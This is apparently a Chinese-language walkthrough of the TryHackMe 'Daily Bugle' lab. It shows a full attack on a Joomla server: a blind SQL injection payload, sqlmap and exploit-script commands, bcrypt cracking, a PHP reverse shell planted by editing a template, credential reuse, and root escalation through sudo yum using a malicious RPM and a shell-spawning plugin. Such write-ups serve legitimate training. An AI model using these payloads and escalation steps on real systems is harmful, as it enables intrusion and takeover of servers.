【THM】offensive-Daily Bugle
字数 1198 2025-08-29 22:41:32

Joomla CMS渗透测试实战:从SQL注入到权限提升

1. 信息收集阶段

1.1 端口扫描

使用Rustscan或Nmap扫描目标主机,发现开放端口:

  • 22 (SSH)
  • 80 (HTTP - Joomla CMS)
  • 3306 (MySQL)

1.2 Web应用识别

访问80端口发现Joomla CMS运行中:

  • 检查robots.txt文件,发现15个条目
  • 发现公开的/administrator管理面板
  • 使用whatwebWig工具确认CMS类型

1.3 版本识别

通过以下方法确定Joomla版本:

  1. 访问特定文件:
    • http://<IP>/administrator/manifests/files/joomla.xml
    • http://<IP>/language/en-GB/en-GB.xml
  2. 检查/LICENSE.txt/README.txt文件
  3. 使用joomscan工具:
    joomscan -u http://<IP>
    

2. 漏洞利用阶段

2.1 SQL注入漏洞利用

发现Joomla存在"list[fullordering]"参数盲SQL注入漏洞:

  1. 手动验证漏洞:

    http://IP/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)
    
  2. 使用sqlmap自动化利用:

    sqlmap -u "http://IP/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
    
  3. 使用专用利用脚本:

    git clone https://github.com/stefanlucas/Exploit-Joomla.git
    cd Exploit-Joomla
    python joomblah.py http://<IP>
    

    获取到fb9j5_users表中的用户凭证(用户名jonah和密码哈希)

2.2 哈希破解

使用john或在线服务破解bcrypt哈希:

echo '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm' > hash
john --format=bcrypt hash

3. 获取Web Shell

3.1 登录管理面板

使用破解的凭证登录Joomla管理面板:

  • 访问http://IP/administrator
  • 输入用户名jonah和破解的密码

3.2 修改模板获取反向Shell

  1. 导航到模板管理:

    • 扩展 > 模板 > 模板
    • 选择Protostar模板(默认模板)
  2. 编辑index.php文件:

    • 替换内容为PHP反向Shell代码(如PentestMonkey的)
    • 修改IP和端口参数
    • 保存更改
  3. 触发反向Shell:

    • 访问http://IP/templates/protostar/index.php
    • 或使用curl请求
    • 本地监听对应端口获取Shell

4. 权限提升

4.1 获取数据库凭证

检查Joomla配置文件获取数据库密码:

cat /var/www/html/configuration.php

尝试使用相同密码SSH登录用户jjameson:

ssh jjameson@IP
# 或
su jjameson

4.2 利用Yum提权

发现jjameson用户可以运行/usr/bin/yum,利用GTFOBins方法:

方法一:创建恶意RPM包

  1. 创建执行命令的RPM包:

    TF=$(mktemp -d)
    echo 'id' > $TF/x.sh
    fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF
    
  2. 传输并安装RPM包:

    sudo yum localinstall -y a-1.0-1.noarch.rpm
    
  3. 创建SUID bash:

    TF=$(mktemp -d)
    echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > $TF/x.sh
    fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF
    sudo yum localinstall -y x-1.0-1.noarch.rpm
    /tmp/bash -p
    

方法二:加载自定义插件

TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF

cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF

cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
    os.execl('/bin/sh','/bin/sh')
EOF

sudo yum --enableplugin=y

5. 总结

本渗透测试流程涵盖了:

  1. 信息收集与版本识别
  2. SQL注入漏洞利用
  3. 哈希破解与凭证重用
  4. Web Shell获取
  5. 权限提升技术

关键点:

  • 仔细检查robots.txt和配置文件
  • 利用特定版本的已知漏洞
  • 凭证重用是横向移动的有效方法
  • 查找sudo权限以进行权限提升
Joomla CMS渗透测试实战:从SQL注入到权限提升 1. 信息收集阶段 1.1 端口扫描 使用Rustscan或Nmap扫描目标主机,发现开放端口: 22 (SSH) 80 (HTTP - Joomla CMS) 3306 (MySQL) 1.2 Web应用识别 访问80端口发现Joomla CMS运行中: 检查 robots.txt 文件,发现15个条目 发现公开的 /administrator 管理面板 使用 whatweb 或 Wig 工具确认CMS类型 1.3 版本识别 通过以下方法确定Joomla版本: 访问特定文件: http://<IP>/administrator/manifests/files/joomla.xml http://<IP>/language/en-GB/en-GB.xml 检查 /LICENSE.txt 和 /README.txt 文件 使用 joomscan 工具: 2. 漏洞利用阶段 2.1 SQL注入漏洞利用 发现Joomla存在"list[ fullordering ]"参数盲SQL注入漏洞: 手动验证漏洞: 使用sqlmap自动化利用: 使用专用利用脚本: 获取到 fb9j5_users 表中的用户凭证(用户名jonah和密码哈希) 2.2 哈希破解 使用john或在线服务破解bcrypt哈希: 3. 获取Web Shell 3.1 登录管理面板 使用破解的凭证登录Joomla管理面板: 访问 http://IP/administrator 输入用户名jonah和破解的密码 3.2 修改模板获取反向Shell 导航到模板管理: 扩展 > 模板 > 模板 选择Protostar模板(默认模板) 编辑index.php文件: 替换内容为PHP反向Shell代码(如PentestMonkey的) 修改IP和端口参数 保存更改 触发反向Shell: 访问 http://IP/templates/protostar/index.php 或使用curl请求 本地监听对应端口获取Shell 4. 权限提升 4.1 获取数据库凭证 检查Joomla配置文件获取数据库密码: 尝试使用相同密码SSH登录用户jjameson: 4.2 利用Yum提权 发现jjameson用户可以运行 /usr/bin/yum ,利用GTFOBins方法: 方法一:创建恶意RPM包 创建执行命令的RPM包: 传输并安装RPM包: 创建SUID bash: 方法二:加载自定义插件 5. 总结 本渗透测试流程涵盖了: 信息收集与版本识别 SQL注入漏洞利用 哈希破解与凭证重用 Web Shell获取 权限提升技术 关键点: 仔细检查robots.txt和配置文件 利用特定版本的已知漏洞 凭证重用是横向移动的有效方法 查找sudo权限以进行权限提升